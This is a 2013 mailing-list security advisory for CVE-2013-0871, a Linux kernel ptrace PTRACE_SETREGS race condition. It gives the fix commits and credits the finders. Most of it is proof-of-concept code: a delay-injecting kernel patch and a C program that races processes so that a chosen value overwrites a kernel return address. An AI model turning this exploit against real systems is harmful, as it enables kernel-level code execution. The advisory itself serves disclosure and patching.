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Linux kernel race condition with PTRACE_SETREGS (CVE-2013-0871)
From: Julien Tinnes <julien () cr0 org>
Date: Fri, 15 Feb 2013 12:24:18 -0800

Linux kernel stack corruption due to race condition with PTRACE_SETREGS
-----------------------------------------------------------------------

A race conditon in ptrace can lead to kernel stack corruption and arbitrary
kernel-mode code execution.

This should be tracked as CVE-2013-0871.

Solution
------------

The following commits from Oleg Nesterov should address the issue:

- 910ffdb18a6408e14febbb6e4b6840fd2c928c82
- 9899d11f654474d2d54ea52ceaa2a1f4db3abd68
- 9067ac85d533651b98c2ff903182a20cbb361fcb

Credit
---------

This was discovered by Suleiman Souhlal and Salman Qazi of Google, with help
from Aaron Durbin and Michael Davidson, also of Google.

Code
--------

Salman Qazi provided the following PoC code:

Kernel patch for easy reproduction:

diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
index b629bbe..e22617e 100644
--- a/arch/x86/kernel/ptrace.c
+++ b/arch/x86/kernel/ptrace.c
@@ -24,6 +24,7 @@
 #include <linux/rcupdate.h>
 #include <linux/module.h>
 #include <linux/context_tracking.h>
+#include <linux/delay.h>

 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
@@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request,
                                           datap);

        case PTRACE_SETREGS:    /* Set all gp regs in the child. */
+               if (!strcmp(current->comm, "ptrace_death")) {
+                       int i;
+                       WARN_ON_ONCE(1);
+                       for (i = 0 ; i < 15; i++)
+                               mdelay(10);
+               }
                return copy_regset_from_user(child,
                                             task_user_regset_view(current),
                                             REGSET_GENERAL,

source code for ptrace_death:


/*
 * Repro case for SETREGS arbitrary ring zero execution bug.
 *
 * The specific scenario that we attempt to create:
 *
 * V does a syscall.  It is being traced by P.  P
 * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds
 * to read its registers.  At this time P is asleep and an RT process S
 * starts running.
 *
 * Then P proceeds to write V's registers, at shortly it has done this
 * another process K kills V.  Process S goes to sleep permitting V
 * space to run.  V wakes up from its waiting state and heads for the exit.
 *  But, S quickly wakes up again by the time V has reached schedule().  V
 * is no longer running (since S has the CPU)
 *  and P modifies its regs.  When V finally starts running
 * and returns from schedule(), it pops an incorrect value from the
 * stack.  The reason is that the stack on which schedule() is called
 * does not have the final 6 registers in pt_regs on it.  That means that
 * when P modifies V's registers, it is actually overwriting the stack
 * frame saved for schedule(), including the return RIP.
 *
 * V and S and pinned to CPU 0.  S is an RT task so that it can control
 * when V does and doesn't run.
 * remaining processes are not allowed on 0.
 *
 */


#include <sched.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <signal.h>

/* S */
int nuke_cpu(void)
{
        int pid0;
        int i;
        unsigned long mask = 1;

        pid0 = fork();
        if (!pid0) {
                struct sched_param p = {};
                p.sched_priority = sched_get_priority_min(SCHED_FIFO);
                assert(!sched_setscheduler(0, SCHED_FIFO, &p));
                assert(!sched_setaffinity(0, sizeof(mask), &mask));
                i = 0;
                usleep(120000);
                while(1) {
                        if (i == 50000) {
                                usleep(10);
                                printf("x");
                                fflush(stdout);
                        }
                        i++;
                }
        }

        return pid0;

}


int once()
{
        long i;
        int pid0;
        int pid;
        unsigned long mask = 1;
        struct user_regs_struct regs;
        assert(!sched_setaffinity(0, sizeof(mask), &mask));

        pid = fork();

        if (!pid) {
                /* V */
                while (1) {
                        /* Put our chosen RIP in callee saved registers */
                        asm __volatile__ (
                                "mov $0x1eadbeef, %%rbx\n"
                                "mov $0x1eadbeef, %%rbp\n"
                                "mov $0x1eadbeef, %%r12\n"
                                "mov $0x1eadbeef, %%r13\n"
                                "mov $0x1eadbeef, %%r14\n"
                                "mov $0x1eadbeef, %%r15\n"
                                "mov $0, %%rsi\n"
                                "mov $0, %%rdi\n"
                                "mov $0x6d, %%rax\n"
                                "syscall":::"rax","rsi","rdi",
                                                "r12", "rbx");

                }
        } else {
                /* P */
                assert(!ptrace(PTRACE_ATTACH, pid, 0, 0));
                wait(NULL);
                assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL,
                        PTRACE_O_TRACESYSGOOD |
                        PTRACE_O_TRACEFORK |
                        PTRACE_O_TRACEVFORK |
                        PTRACE_O_TRACECLONE));
                while(1) {
                        int nuke_pid;
                        int pid2;
                        mask = 0xfffe;
                        assert(!sched_setaffinity(0, sizeof(mask), &mask));
                        /*Entry */
                        assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0));
                        wait(NULL);
                        assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs));

                        nuke_pid = nuke_cpu();

                        regs.orig_rax = 0x3c;

                        pid2 = fork();
                        if (!pid2) {
                                /* K */
                                usleep(120000);
                                kill(pid, SIGKILL);
                                printf(".");
                                fflush(stdout);
                                exit(0);
                        }
                        printf("{");
                        fflush(stdout);
                        if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) {
                                printf("+");
                        } else {
                                printf("-");
                        }

                        ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL);
                        kill(pid, SIGKILL);
                        kill(pid2, SIGKILL);
                        kill(nuke_pid, SIGKILL);
                        exit(0);
                }
        }
}

int main(void) {

        while (1) {
                int pid = fork();
                if (!pid) {
                        once();
                }
                wait(NULL);
        }
}


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